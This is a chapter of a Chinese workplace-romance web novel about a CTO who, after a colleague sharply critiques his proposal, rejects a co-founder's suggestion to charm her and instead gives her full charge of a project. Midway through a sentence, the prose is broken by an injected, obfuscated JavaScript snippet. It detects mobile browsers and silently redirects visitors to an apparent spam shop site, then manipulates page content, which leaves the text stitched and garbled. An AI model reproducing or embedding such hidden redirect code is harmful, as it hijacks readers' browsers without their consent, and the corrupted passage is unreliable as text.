门在身后无声合拢，将外界的嘈杂彻底隔绝。
程迦站在办公室中央，没有立即工作，任由阳光从落地窗渗入，将他半身浸入暖意。
直到这时，他才允许自己清晰地感知到——
刚才在会议室里维持的、近乎完美的冷静外壳下，某些东西早已脱轨。
过了好一会儿，他才终于找回状态，打开电脑，照常处理邮件，回复投资人，敲定节点。
指尖在键盘上敲击的节奏平稳如常，逻辑严密，措辞滴水不漏，仿佛许知微那场锋利的拆解从未发生。
可只有他自己知道，他体内某些被精准撬动的开关被她按下，不会轻易复位。
当她站在会议室里，用毫无情绪波动的声线，一条条拆解他方案中的假设与漏洞时，他第一次以程迦这个真实身份，感受到了一种久违的、近乎战栗的兴奋。
那是一种……被逼到墙角、必须全神贯注应对的清醒。
她的反对不是为了赢他，而是为了逼他看见那些被他习惯性忽略或妥协的风险。
那种不留情面、逻辑缜密的进攻，像一把冰冷的手术刀，剖开他思维中可能存在的惰性，让他整个大脑都处于一种异常亢奋的戒备状态。
他喜欢这种刺激。
这种独属于他们之间的、在专业领域内无声的交锋与碰撞。
手机铃声突兀地撕裂键盘声。
是于昊——公司的另一位创始人。
“你跟许知微怎么回事？”对方开门见山，语气里带着毫不掩饰的审视，“今天会上，她可一点没给你留面子。”
程迦走到窗边，目光落在远处模糊的城市轮廓线上，声音平稳：“正常的技术讨论。”
电话那头沉默了一瞬，带着明显的不信：“别跟我来这套。她以前提反对意见，会留缓冲，会找台阶。今天这架势……可不像单纯讨论技术。”
程迦没有立刻反驳。
于昊的话像一面镜子，骤然照出了他未曾留意的视角——在旁人眼中，她那冷静到极致的专业，已然被解读为带着情绪的冒犯。
“现在正是关键时期，”于昊的语调沉下来，现实而冷酷，“融资窗口期，核心团队不能有任何动荡。她手里攥着几条关键业务线，她要是有异心，不是走一个人那么简单。”
“现金激励我们给的虽然不多，但已经到顶了，股权期权也给足了诚意。”
“你的任务是稳住她，别让她生出别的想法。”
程迦的眉心几不可察地蹙紧。
“她不是那样的人。”他重复，声音却比自己预想的更干涩。
“是不是那样的人，不重要。”于昊的语气放缓，却更具压迫感，“重要的是，不能让她觉得自己不被重视、不被尊重。人心一旦凉了，什么都可能发生。”
然后，于昊像是想到了什么，语气忽然变得轻佻，甚至带上了点戏谑：
“实在不行，你就用点非常手段呗。”
程迦一顿：“什么手段？”
“还能有什么？”于昊笑了一声，混着点成年人心照不宣的调侃，“美男计啊。别以为我不知道，公司里多少小姑娘是冲着你这位颜值与技术双天花板的CTO来的。你这张脸，早就是隐性福利了。”
“对她，你稍微放低点姿态，给点特别的关注，哄一哄。女人嘛，还能真跟一个对自己示好的上司翻脸？”
“轰”的一声，仿佛有惊雷在颅内炸开。
程迦握着手机的指节瞬间收紧。
不是因为他开不起玩笑，而是因为于昊这番粗鄙又现实的调侃，竟然与他内心深处那隐秘的、连自己都不愿深究的悸动，产生了可怕的重合！
他享受与许知微之间那种智力与专业上的紧绷对抗，视之为一种私密的、高级的互动。
可一旦这种互动被旁人用美男计、哄一哄、手段这样的词汇赤裸裸地标签化、庸俗化，那份让他悸动的特殊，瞬间沦为了令人作呕的算计和交易。
变成了他最熟练、也最憎恶的，那套操控人心的冰冷规则。
“这种方式，不合适。”程迦打断他，声音比窗外的暮色更冷。
于昊愣了一下，随即失笑：“行行行，我就随口一说，你还当真了。谁不知道你有个喜欢好几年的人。”
电话挂断。
办公室重归死寂，却比之前更加令人窒息。
程迦站在原地，久久未动。他终于清晰地意识到，今天发生的一切，可能真的不是单纯的技术分歧。
她的反对，在别人眼里是亟待安抚的情绪。
他的回应，在别人眼里是需要权衡的关系。
而他和她之间那点不足为外人道的、隐秘的张力，正在被外界用最功利的视角肆意涂抹、解读、定义。
他厌恶这种被定义。
更厌恶许知微被简化为一个需要被稳住的核心资产，而自己则被预设为一张可以随意打出的、名为色相或暧昧的牌。
可与此同时，胸腔里那份被她亲手点燃的、危险的兴奋余烬，仍在隐隐发烫。
他无法否认——
当她冷静地、一步步将他逼到必须全神贯注的境地时，他的确感到了某种近乎堕落的愉悦。
这认知让他感到一阵自我厌弃的眩晕。
良久，他走到办公桌前，目光落在刚刚打印出来的、即将交给她的新项目纲要上。
纸张洁白，字迹清晰，却像一张无声的网。
最终，他还是伸手，按下了内线通话键。
“许知微，”他的声音透过电路，平稳得不带丝毫波澜，唯有他自己能听出那底下竭力压抑的暗流。
“来我办公室一趟。”
*
许知微推门进来，脸上没什么多余的表情，眼神清亮，姿态坦然，仿佛刚才在会议室里掀起波澜的人不是她。
程迦让她站在桌前，没有请她坐。这是一种微妙的姿态控制，他需要一点距离来观察，也需要一点高度来确认。
“你今天，”他开口，声音平稳，目光却仔细描摹着她脸上一丝一毫的变化，“是不是对我个人，有什么意见。”
他问得直接，甚至带着点不易察觉的试探。
他想知道，那精准的拆解背后，是否真的掺杂了对他这个上司的不满或情绪。
她几乎立刻摇头，回答得干脆利落：“没有啊。”语气自然得毫无破绽，甚至带着点理所当然的困惑，仿佛他的问题本身就很奇怪。
“技术讨论，本来就会有不同意见。”
那一刻，程迦清晰地感觉到，自己胸腔里某个绷紧的地方，悄然松了一下。
也不知道是不是出于庆幸，或者更像是一种，确认后的释然。
果然，外人是不会懂他俩这种高级交流的。
她的锋芒从来只针对方案，而非他这个人。这让他不必立刻面对更复杂、更私人化的情绪纠葛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127078|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，也不必去深究自己心底那丝隐秘的愉悦究竟源于何处。
然而，这口气尚未完全落下，他的视线就敏锐地捕捉到了她脸上一闪而过的小动作。
她的嘴角似乎极细微地向上牵动了一下，眼睫快速眨动一次，掠过一丝几乎难以捕捉的……了然？
甚至是，一丝几不可查的得意？
仿佛他的询问，正中她下怀。仿佛他此刻的在意，是她预期中的反应。
这个发现，像一根细小的刺，轻轻刺激了他一下。
他的大脑开始飞速运转。
如果她没有个人情绪，那这份得意从何而来？
除非——她对于能在专业层面与他正面交锋、甚至占据上风这件事本身，感到兴奋？
难道，她也享受这种挑战权威、证明自己能力的过程？
这个推论，让程迦心里那点刚刚平复的波澜，又隐隐涌动起来。一种混合着欣赏与更深探究欲的情绪悄然滋生。
他顺着这个思路，微微皱眉，追问道：“是吗？仅仅是从技术角度提意见？”他刻意加重了“仅仅”两个字，试图给她施加一点压力，看她是否会流露出更多真实情绪。
许知微点了点头，甚至非常识大体地补充了一句：“如果我哪里说得不对，您也可以直接指出来。”
她的反应太符合逻辑了，连同刚才那丝稍纵即逝的得意，在程迦心中拼凑出一个新的画像——
一个对技术充满野心、乐于接受挑战、并会从挑战权威中获得成就感的许知微。
这个画像，与他系统里神游幻想时的她，奇妙地重叠又分离，也在此刻，无比清晰地指向一个行动方向——
如果她如此渴望在这个项目上证明自己，如此享受深度参与和主导的感觉。
那么，满足她。
这个念头一旦成型，接下来的支持就变得无比合理，甚至带上了一点投其所好的意味。
对，他认可了她的能力和热情，他要将一个更有挑战性、更能施展她才华的舞台交给她。
于是，他开口了，语气是经过深思熟虑后的平静，几乎听不出片刻前的波澜：“既然你对这个项目这么有想法，”他看着她的眼睛，确保她听清每一个字，“那这个项目，就交给你全权负责。”
他看到她的表情明显怔住了。
——惊喜吧？
当听到她为难地提到手里别的项目时，为了展现他身为上级的可靠，他强势地划定了新的边界：
“成熟项目该交出去的就交出去。这个项目，从需求拆解到模型方案，由你主导。”
“资源我给，你来推进。”
这不是商量，是决定。
是将她推向更前线，也是将她更紧密地绑在他的战车上。
他给了她想要的挑战和主导权，同时，也将她更深地纳入了他的视野和掌控之中。
看着她一时语塞、计划被打乱的模样，程迦心底那丝复杂的情绪似乎找到了一个平衡点。
他转身回到电脑前，不再给她反驳的机会，用行动为这场谈话画上句号：“下周给我一个完整方案。”
“一会儿我就发通知。”
直到她离开办公室，门再次轻轻合上，程迦才缓缓靠向椅背。
他给了她项目，也给了自己一个继续观察、甚至——喂养她那份独特兴趣的理由。
他很满意。
又让她看到了如此懂她的自己。